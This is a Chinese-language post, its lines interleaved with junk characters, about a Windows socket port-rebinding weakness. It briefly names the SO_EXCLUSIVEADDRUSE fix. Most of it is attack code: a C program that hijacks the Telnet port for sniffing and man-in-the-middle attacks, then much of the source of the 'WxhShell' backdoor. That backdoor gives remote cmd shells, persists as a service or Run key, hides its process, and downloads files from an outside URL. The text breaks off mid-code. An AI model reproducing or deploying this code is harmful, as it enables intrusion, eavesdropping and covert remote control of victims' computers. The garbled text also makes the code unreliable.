在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
99T_y`df s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
U p1&( y 1DP`Ro saddr.sin_family = AF_INET;
f< A@D"m/ A0x"Etbw) saddr.sin_addr.s_addr = htonl(INADDR_ANY);
|T53m;D 9Q
4m9} bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
>eHSbQu/Bu zE"ME*ou 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
}Qjp,(ye 76i)m! 这意味着什么?意味着可以进行如下的攻击:
Nr.maucny 3EGQ$ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
K]mR9$/ Z<@Kkbj 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
<|= UrG R#ayN* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
3?Ckk{)& e=b>:n 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
qMD!No W}6(; tI 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
_sU| <1 l V[d`%( 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
{3RY4HVT? sS$"6 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
AF5$U8jf Z
P\A #include
Wb! "L`m #include
79:Wo>C3- #include
mmC&xZ5f #include
p1B~:9y9X DWORD WINAPI ClientThread(LPVOID lpParam);
]<z4p'F1% int main()
[da,SM {
&m=Xg(G~c WORD wVersionRequested;
}{Y)[w#R DWORD ret;
<I.anIB:U WSADATA wsaData;
LqnN5l@_B BOOL val;
LQVa,' SOCKADDR_IN saddr;
v3 $+l1 SOCKADDR_IN scaddr;
#NZ\UmA int err;
"eWN52 SOCKET s;
U1?*vwfKZ SOCKET sc;
; z_ZZ(W int caddsize;
t#s?: HANDLE mt;
Y,O)"6ev DWORD tid;
pDr%uL wVersionRequested = MAKEWORD( 2, 2 );
%U]_1"d,<\ err = WSAStartup( wVersionRequested, &wsaData );
]d#Lfgo if ( err != 0 ) {
G([8Q8B4+ printf("error!WSAStartup failed!\n");
Vl;GQe return -1;
^4@~\#$z }
vywd&7gK saddr.sin_family = AF_INET;
7.4Q \VL[,z=q. //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
i~\fpay 9W$d'IA saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
+QNFu){G saddr.sin_port = htons(23);
D3#/*Ky if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%JBFG.+ {
+hdD*}qauC printf("error!socket failed!\n");
%GUu{n<6 return -1;
\VmqK&9 }
8D[8(5 val = TRUE;
sW)C6 # //SO_REUSEADDR选项就是可以实现端口重绑定的
j-2`yR if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
@=o1q=5@8 {
Q9X7-\n printf("error!setsockopt failed!\n");
DXPiC[g] return -1;
,: X+NQ }
_RG!lmJV //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
eto3dJ!R //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
9g3J{pKcZ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
~YO-GX( /60`"xH if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
]=v_u9; {
u}u;jTi>2 ret=GetLastError();
/1- printf("error!bind failed!\n");
'Z LGt# return -1;
fu|N{$h%X }
J%']t$AR listen(s,2);
jRN*W2]V while(1)
0raVC=[ {
U krqHHpy caddsize = sizeof(scaddr);
]_NN,m>z //接受连接请求
"oZ]/( sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
%FnaS
u if(sc!=INVALID_SOCKET)
55xv+|k {
4`@]jm mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
82Fq}N
< if(mt==NULL)
`{fqnNJE {
u9>zC QRO printf("Thread Creat Failed!\n");
Ojj:YLlY> break;
4HlOv%8 }
=G9%Hz5~: }
a~YFJAkg9 CloseHandle(mt);
l!f/0Rx5 }
"&/:"~r closesocket(s);
P 3uAS WSACleanup();
d=%:rLm$ return 0;
;=X6pK }
uG2(NwOL DWORD WINAPI ClientThread(LPVOID lpParam)
CC1\0$ / {
$ wGDk SOCKET ss = (SOCKET)lpParam;
y'?|#%D SOCKET sc;
~S}>|q$ unsigned char buf[4096];
6zs&DOB SOCKADDR_IN saddr;
,2mnjq/*Z long num;
P;[5#-e DWORD val;
Gv[W)+3f DWORD ret;
'Im7^!-d //如果是隐藏端口应用的话,可以在此处加一些判断
4fBgmL //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Iu6KW :x saddr.sin_family = AF_INET;
4?XX_=+F| saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
c^P8)gPf saddr.sin_port = htons(23);
w)-@?jN if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
87%t=X {
Bb[%?~
E! printf("error!socket failed!\n");
pq[RH-{ return -1;
BQVpp,] }
Mw!?2G[| val = 100;
.#R\t 7m% if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
K7}EL|Kx {
J{'
u ret = GetLastError();
5VIpA return -1;
md7Aqh }
V-a/%_D if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
dq%N,1.F
{
Q:Q)-|, ret = GetLastError();
C5QPt return -1;
@`2<^-r\ }
'U]= T< if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
T[M?:~ {
nt\6o?W printf("error!socket connect failed!\n");
"~x\bSY closesocket(sc);
uEQH6~\{Nl closesocket(ss);
I@P[}XS return -1;
$Tu%dE(OF }
wVk2Fr( while(1)
,Iq+ v {
:$d3}TjsA+ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
\&]M \ //如果是嗅探内容的话,可以再此处进行内容分析和记录
Db\.D/76 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
NL&(/72V num = recv(ss,buf,4096,0);
Hno@ if(num>0)
N'R^S98x send(sc,buf,num,0);
^7v}wpwX\ else if(num==0)
Z"#ysC break;
/b,+YyWi% num = recv(sc,buf,4096,0);
XNwY\y if(num>0)
vC~];!^ send(ss,buf,num,0);
8r / ]Q else if(num==0)
`+$'bNPn& break;
LNml[" }
I1U {t closesocket(ss);
=zXpeo&|m closesocket(sc);
q /EK]B return 0 ;
k: PO"<-U }
ghd~p@4 <lZyUd |Hg )!5EJ ==========================================================
9,Zg'4",d s]`&9{=E 下边附上一个代码,,WXhSHELL
\1D~4Gz6} M$#zvcp ==========================================================
i+T#z )hj77~{+ #include "stdafx.h"
;[WW,,!Y B, nCx=\S #include <stdio.h>
CF9a~^+% #include <string.h>
b!SGQv(^M #include <windows.h>
6NJ"ty9Bp #include <winsock2.h>
|$Dt6{h #include <winsvc.h>
:FwXoJc_+5 #include <urlmon.h>
/Ik_U?$* 6PT ,m #pragma comment (lib, "Ws2_32.lib")
`kIzT!HX #pragma comment (lib, "urlmon.lib")
G_zJuE$V o!L1Qrh #define MAX_USER 100 // 最大客户端连接数
`;WiTE)&) #define BUF_SOCK 200 // sock buffer
Zoj.F #define KEY_BUFF 255 // 输入 buffer
:gDIGBK, owZjQ #define REBOOT 0 // 重启
* #e%3N05_ #define SHUTDOWN 1 // 关机
'{XDhK :k8>)x]
) #define DEF_PORT 5000 // 监听端口
m8$6FN 7CYu"+Ea #define REG_LEN 16 // 注册表键长度
@/H1}pM~ #define SVC_LEN 80 // NT服务名长度
Je2o('MA * X\i=
K! // 从dll定义API
1i#uKKwE typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
r&)/3^S ' typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
0F=UZf& typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
K"VphKvR typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
LtbL[z>] s4P8PDhz // wxhshell配置信息
nlXg8t^G struct WSCFG {
& S_gNa int ws_port; // 监听端口
,kuJWaUC@ char ws_passstr[REG_LEN]; // 口令
{"!V&} int ws_autoins; // 安装标记, 1=yes 0=no
+l@H[r;$ char ws_regname[REG_LEN]; // 注册表键名
3 8pw char ws_svcname[REG_LEN]; // 服务名
m9Gyjr'L char ws_svcdisp[SVC_LEN]; // 服务显示名
soW. char ws_svcdesc[SVC_LEN]; // 服务描述信息
7&XU]I char ws_passmsg[SVC_LEN]; // 密码输入提示信息
|\@e int ws_downexe; // 下载执行标记, 1=yes 0=no
?{%P9I char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
meu\jg char ws_filenam[SVC_LEN]; // 下载后保存的文件名
5tHv'@ fL
ng[& };
"5%G[MB ^ $Q', // default Wxhshell configuration
<F+S }!q struct WSCFG wscfg={DEF_PORT,
mfFC@~|g "xuhuanlingzhe",
%75|+((fC 1,
znhe]&Fw "Wxhshell",
D/:~#) "Wxhshell",
QR2J;Oj_ "WxhShell Service",
" jn@S- "Wrsky Windows CmdShell Service",
mm/U9hbp% "Please Input Your Password: ",
I?dh"*Js& 1,
-VD[iH "
http://www.wrsky.com/wxhshell.exe",
xb0hJ~e "Wxhshell.exe"
^tsIgK^9H };
*!%y.$\cE vi@a87w> // 消息定义模块
Ttn=VX{
\ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
yxQxc5/X) char *msg_ws_prompt="\n\r? for help\n\r#>";
I!9u](\0 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
]0by6hQ char *msg_ws_ext="\n\rExit.";
cf1Ve\(YGI char *msg_ws_end="\n\rQuit.";
.3qaaXeH char *msg_ws_boot="\n\rReboot...";
-en:81a# char *msg_ws_poff="\n\rShutdown...";
WqqrfzlM char *msg_ws_down="\n\rSave to ";
OJ8W'"`L& v3[Z]+ ] char *msg_ws_err="\n\rErr!";
gg'lb{oG char *msg_ws_ok="\n\rOK!";
M |?qSFv: (FbqKx'uq char ExeFile[MAX_PATH];
8U0y86q>)E int nUser = 0;
AOWX=`J8V HANDLE handles[MAX_USER];
d~C
YZ int OsIsNt;
ZJsc ?*@ 4pV.R5: SERVICE_STATUS serviceStatus;
tvP_LN MF SERVICE_STATUS_HANDLE hServiceStatusHandle;
c_}i(HQ rOyK==8/Fg // 函数声明
:y !e6 int Install(void);
8wwqV{O7 int Uninstall(void);
:N\*;> int DownloadFile(char *sURL, SOCKET wsh);
!cE>L~cza int Boot(int flag);
kLR4?tX! void HideProc(void);
@YdS_W int GetOsVer(void);
.a:"B\B` int Wxhshell(SOCKET wsl);
Z66akr void TalkWithClient(void *cs);
r1EccY int CmdShell(SOCKET sock);
gR.zL>=_5e int StartFromService(void);
]p(+m_F int StartWxhshell(LPSTR lpCmdLine);
cbsy&U ;WJ}zjo > VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
V;L^q?v
! VOID WINAPI NTServiceHandler( DWORD fdwControl );
o; { TU$/3fp* // 数据结构和表定义
mC
n,I SERVICE_TABLE_ENTRY DispatchTable[] =
hdW",Bf' {
}+#-\a2 {wscfg.ws_svcname, NTServiceMain},
)I 4d_]& {NULL, NULL}
N6cf`xye };
&BqRyUM$F SWUHHl // 自我安装
a-4'jT: int Install(void)
_xI'p6C {
qw&Wfk\} char svExeFile[MAX_PATH];
/>Tyiy]2uu HKEY key;
i]Lt8DiRq strcpy(svExeFile,ExeFile);
7]d396% Yb%H9A // 如果是win9x系统,修改注册表设为自启动
2uZ
<q?= if(!OsIsNt) {
:1q+[T/ @ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
A1{P"p! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
-_
.f&l8 RegCloseKey(key);
%h g=@7,| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
~1`.iA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
SOE#@{IXBa RegCloseKey(key);
a)MjX<y return 0;
)W:`Q&/G }
lu`\6 }
mG7Wu{~=U }
Z6!MX_ep else {
UA!h[+Z }C/u>89%q // 如果是NT以上系统,安装为系统服务
C#emmg!a\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
f*Xonb if (schSCManager!=0)
i?z3!`m {
Kw3fpNd SC_HANDLE schService = CreateService
@SDsd^N{2P (
El Z'/l*\ schSCManager,
8*6vX! Z| wscfg.ws_svcname,
DOaEz?2) wscfg.ws_svcdisp,
r*N:-I~z SERVICE_ALL_ACCESS,
X |.'_6l. SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Id
*Gs>4U SERVICE_AUTO_START,
4
`Z @^W SERVICE_ERROR_NORMAL,
pB@8b$8(Z svExeFile,
}.3F|H NULL,
_J }ce NULL,
L=iaL[zdJ NULL,
z) yUBcq NULL,
A5!jrSyv NULL
p \; * : );
HDIB GG~ if (schService!=0)
A,W-=TC {
[VT& CloseServiceHandle(schService);
{lT9gJ+ CloseServiceHandle(schSCManager);
RU,f|hB4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
e,={!P"f strcat(svExeFile,wscfg.ws_svcname);
K%Mm'$fTw if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
WiH%URFB RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
a^< RegCloseKey(key);
({yuwH?tH return 0;
Cmm"K[>Rx }
LU_@8i: }
ilw<Q-o4( CloseServiceHandle(schSCManager);
KM g`O3_16 }
8Z4d<DIJ }
[y\ZnoB $^.LZ1Jd return 1;
d;|e7$F' }
Mlb=,l /wK5YN.em // 自我卸载
[`_&d7{-4b int Uninstall(void)
30*^ERO {
/,"Z^= HKEY key;
$JypVA(CX p^&' C_? if(!OsIsNt) {
$lOx
6rL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
f-y4V} RegDeleteValue(key,wscfg.ws_regname);
5@tpJ8E8$ RegCloseKey(key);
!
W$u~z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
*DLv$/(0 RegDeleteValue(key,wscfg.ws_regname);
p>Ju)o RegCloseKey(key);
l,1 }1{k& return 0;
9r
fR }
j?jEWreq]~ }
?g}n$%*5y! }
>MUwT$szs else {
::uD%a zd KunK.m SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
&O#a==F!( if (schSCManager!=0)
Xj&{M[k< {
7$z")JB SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
V,<,;d fR if (schService!=0)
&vj+3<2 {
Bg-C:Ok2' if(DeleteService(schService)!=0) {
=w?-R\ CloseServiceHandle(schService);
qRJg/~_h{ CloseServiceHandle(schSCManager);
"z69jxXo return 0;
M/5/Tp }
owCQ71Q CloseServiceHandle(schService);
aP!a?xq }
A]Zp1XEG CloseServiceHandle(schSCManager);
ndOPD]A' }
U_ V0 }
8d-; ;V 25l6@7q. return 1;
+>.plvZhu }
fNFdZ[qOd ,yWTkql // 从指定url下载文件
?Gp~i] int DownloadFile(char *sURL, SOCKET wsh)
ldM [8 {
Oe'Nn250
HRESULT hr;
c#OZ=` char seps[]= "/";
0Q;T
<%U char *token;
)*G3q/l1u6 char *file;
M`FsKK` char myURL[MAX_PATH];
[])M2_ char myFILE[MAX_PATH];
}yLdU|'W ; QR|v strcpy(myURL,sURL);
prlnK token=strtok(myURL,seps);
5u:+hB while(token!=NULL)
GuV-[ {
doFp53NhV file=token;
%Wom]/&,' token=strtok(NULL,seps);
3LG}x/l }
EX>> -D7L rzDqfecOmW GetCurrentDirectory(MAX_PATH,myFILE);
[{Fr{La`D' strcat(myFILE, "\\");
s Ce7ni strcat(myFILE, file);
)"WImf:*
send(wsh,myFILE,strlen(myFILE),0);
kNI m90,g send(wsh,"...",3,0);
7t\kof hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
V{HZ/p_Y if(hr==S_OK)
8q)2)p return 0;
`-\4Dx1!q else
3! dD!' return 1;
j5R= K*y x~$P.X7(~ }
GLwL'C'591 BXa1[7Z
// 系统电源模块
NRcg~Nu int Boot(int flag)
6vX+-f {
zf$OC}|\w HANDLE hToken;
b]g}h TOKEN_PRIVILEGES tkp;
%pc0a^iB ve1jLjsB if(OsIsNt) {
XEfTAW#7 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
j*I0]!- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
J6hWcA6g tkp.PrivilegeCount = 1;
]g IXG` tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
,ZD!Qb AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
YM 7P!8Gc if(flag==REBOOT) {
U@|{RP if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
8hQ"rrj+ return 0;
XZV)4=5iSO }
dDi 1{s else {
PP. k>zsx if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
'$
s:cS`= return 0;
(dpBGt@ }
L0UAS'hf }
-njxc{b else {
vO]gj/SaT if(flag==REBOOT) {
R{#-IH=" if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
UldK lQ8 return 0;
cOOPNa>5_ }
3 V8SKBS else {
Uk S86`. if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
pA4/'7nCl return 0;
xE9^4-Px* }
FDbx"%A }
$
ohwBv3S ^dZ,Itho return 1;
g|"z'_ }
O~">-'f U(3LeS;mr // win9x进程隐藏模块
5G(y void HideProc(void)
2EG"xA5% {
bkmX@+Pe @`%.\_ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
#@2 `^1 if ( hKernel != NULL )
}=?r`J+Ev; {
/J/r 62 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
HZ[&ZNTa ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
twf;{lZ( FreeLibrary(hKernel);
@*is]d+Ya }
8Ral%I:gr ;f?OT7>kN return;
M[<O]p6 }
t^8#~o!% RZOk.~[v // 获取操作系统版本
J-Sf9^G int GetOsVer(void)
'!yyg# {
g|)e3q{M OSVERSIONINFO winfo;
(niZN_qv winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
9^igzRn0 GetVersionEx(&winfo);
nqgfAQsE) if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
u+(e,t return 1;
3i>$g3G else
],H%u2GE_ return 0;
J#Bz)WmR }
$N,9e YlPZa3\ // 客户端句柄模块
?Z1pPd@ int Wxhshell(SOCKET wsl)
f,t[`0 va {
tSYeZ~ SOCKET wsh;
wKk struct sockaddr_in client;
.IF dJ DWORD myID;
_qE2r^o"B <u->hT while(nUser<MAX_USER)
)I1LBvfQ {
Y]Su<tgX? int nSize=sizeof(client);
p7.@ez ; wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Q>TaaGc if(wsh==INVALID_SOCKET) return 1;
<@F4{* _'2r=a#` handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
A<>W^ow if(handles[nUser]==0)
o }Tv^>L closesocket(wsh);
~{2@-qcm else
/%)MlG nUser++;
SB$~Btr }
*aG0p&n} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
EnwiE 8Yb/ c* return 0;
(e F5?I }
^,U&v; -BEPpwb<g // 关闭 socket
QfcW void CloseIt(SOCKET wsh)
gMHH3^\VH) {
3vrQY9H> closesocket(wsh);
eRVu/TY nUser--;
~Ja>x`5 ExitThread(0);
jVfC 4M7 , }
YI%S)$ .~b6wi&n // 客户端请求句柄
f fE%{B? void TalkWithClient(void *cs)
61jDI^: {
m1daOeZ]P Aqp3amW! SOCKET wsh=(SOCKET)cs;
T0tG1/O\ char pwd[SVC_LEN];
!Z4,UTu|Q char cmd[KEY_BUFF];
v7&$(HJ>]L char chr[1];
?KS9Dh int i,j;
*}[@* r>z8DX@ while (nUser < MAX_USER) {
+XY}- dW: if(wscfg.ws_passstr) {
r 9*{)" if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
XZKOBq B] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ghms-.:b8 //ZeroMemory(pwd,KEY_BUFF);
mcr71j i=0;
9F,jvCM63 while(i<SVC_LEN) {
.3ic%u;|D JmY"Ja,& // 设置超时
}jIb ^|#CD fd_set FdRead;
[oKB1GkA struct timeval TimeOut;
tH W"eag FD_ZERO(&FdRead);
YI\^hP# FD_SET(wsh,&FdRead);
-p%=36n TimeOut.tv_sec=8;
&TK% igL TimeOut.tv_usec=0;
4~o\Os+8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
4pc=MR if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
hp>me*vzr a,}{f] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
nG8]c9\Q# pwd
=chr[0]; dFFB\|e;0
if(chr[0]==0xd || chr[0]==0xa) { D_, 2z
pwd=0; #m8Oy|Y9`
break; 0K#dWc}"a
} iqOd]H]v
i++; rH-_L&
} kkd<CEz2IM
xX|-5cM;
// 如果是非法用户,关闭 socket Jwa2Y0
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g$]9xn#_[
} }*BY!5
;{Ovqo|
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BF]b\/I
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DtZkrj)D/
A#8/:t1AW
while(1) { 'etCIl3
xNm<` Y?
ZeroMemory(cmd,KEY_BUFF); Zu+Z7@$}/
z6Mf>q
// 自动支持客户端 telnet标准 $
Q2|{*
j=0; +, PBhB
while(j<KEY_BUFF) { .WtaU
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F]~`57
cmd[j]=chr[0];
;xry
if(chr[0]==0xa || chr[0]==0xd) { ^l iyWl
cmd[j]=0; OSq"q-Q
break; D.\p7
NJ
} -M/ny-;`}
j++; P+Hs6Q
} v,2{Vr
e|{6^g<ru
// 下载文件 Xw![}L>
if(strstr(cmd,"http://")) { 7H./o Vl
send(wsh,msg_ws_down,strlen(msg_ws_down),0); hd^?svID
if(DownloadFile(cmd,wsh)) C\fc 4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *[ A%tj%
else [!DLT6Qk
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F%< 0pi
} rV1JJ.I
else { ) tsaDG-E
e`C'5`d]
switch(cmd[0]) { Bj\0RmVa1
%tpt+N?
// 帮助 h#`qEK&u
case '?': { %=_Iq\lC
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #_Tceq5
break;
|EF*]qI
} .Mm8\].
// 安装 M6g!bK2l
case 'i': { N4$0ptz#}G
if(Install()) Z !hDTT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #X|'RL($
else H!s &]b
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1Z*-@%RX
break; OcIJT1
} ~+4OG 0
// 卸载 r5r K>
case 'r': { D^f;dT;-
if(Uninstall()) fxyPh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); C96|T>bk
else <.=
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q=>@:1=
break; s%p(_pB
} bBg?x
4bu
// 显示 wxhshell 所在路径 iD{;!dUZ
case 'p': { *<BasP
char svExeFile[MAX_PATH]; X hTp'2,]
strcpy(svExeFile,"\n\r"); ~>+}(%<,
strcat(svExeFile,ExeFile); 0y6nMI
send(wsh,svExeFile,strlen(svExeFile),0); 2MJ0[9
break; J *^|ojX
} /FB '
// 重启 w~1K93/p!
case 'b': { LN_6>u
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dD!} P$
if(Boot(REBOOT)) dNbN]gHC
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .dl1sv
U
else { V4xZC\)Gk
closesocket(wsh); Xhi9\wteYw
ExitThread(0); (R Ttz
} ?p6+?\H
break; 8Zwq:lV Q
} dG6Mo76
// 关机 Mi:$<fEX
case 'd': { [NH[n#
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZW*"Kok
if(Boot(SHUTDOWN)) W;u~}k<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +tl THK
else { t;ggc{
closesocket(wsh); J]Uki*s
ExitThread(0); hPhN7E03
} lSQANC'
break; ']4sx_)S
} {TlS)i`
// 获取shell qhiQ!fMQ
case 's': { V#5BZU-
CmdShell(wsh); ~Kt.%K5lgt
closesocket(wsh); \e ( h6,@
ExitThread(0); <7u*OYjA
break; _
@ \
} !^B`7
// 退出 .4.zy]I
case 'x': { RqH"+/wR
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Rs5G5W@"A
CloseIt(wsh); nj
#Ab
break; &!m;s_gi
} Fi1gM}>py
// 离开 Nluy]h
&
case 'q': { 6g( 2O[n.
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;^t<LhN:
closesocket(wsh); QH#|R92:
WSACleanup(); O"_FfwO
a
exit(1); *H:;pIWP
break; 4l>/6LNMF
} PNc^)|4^Q
} IjJ3./L!5
} QT^W00h
xZbm,.v
// 提示信息 \q%li)
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #OH# &{H
} 3 uhwoE
} `ag>4?7?
U0UOubA
return; 0SA
c1
} `<C)oF\~f
k}Ahvlq)
// shell模块句柄 |.)dOk,o
int CmdShell(SOCKET sock) f;
>DM
{ Hi<{c
STARTUPINFO si; rEs,o3h?po
ZeroMemory(&si,sizeof(si)); 0|P RCq
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r|6S&Ia>
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]J:?@}\^
PROCESS_INFORMATION ProcessInfo; UPUO8W)<Z6
char cmdline[]="cmd"; ="<+^$7:k
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4vGkgH<,
return 0; WE68a!6
} 9`QWqu[
OBl-6W
// 自身启动模式 H2|&
int StartFromService(void) t&H) :P
{ -=5z&)
X
typedef struct D_(xhM
{ Bk~WHg>@G
DWORD ExitStatus; ^|-x mUC
DWORD PebBaseAddress; ,W7\AY07]
DWORD AffinityMask; }(O
7tC
DWORD BasePriority; l[L\|hv'n
ULONG UniqueProcessId; +n9]c~g!T0
ULONG InheritedFromUniqueProcessId; bgL`FW i3
} PROCESS_BASIC_INFORMATION; u
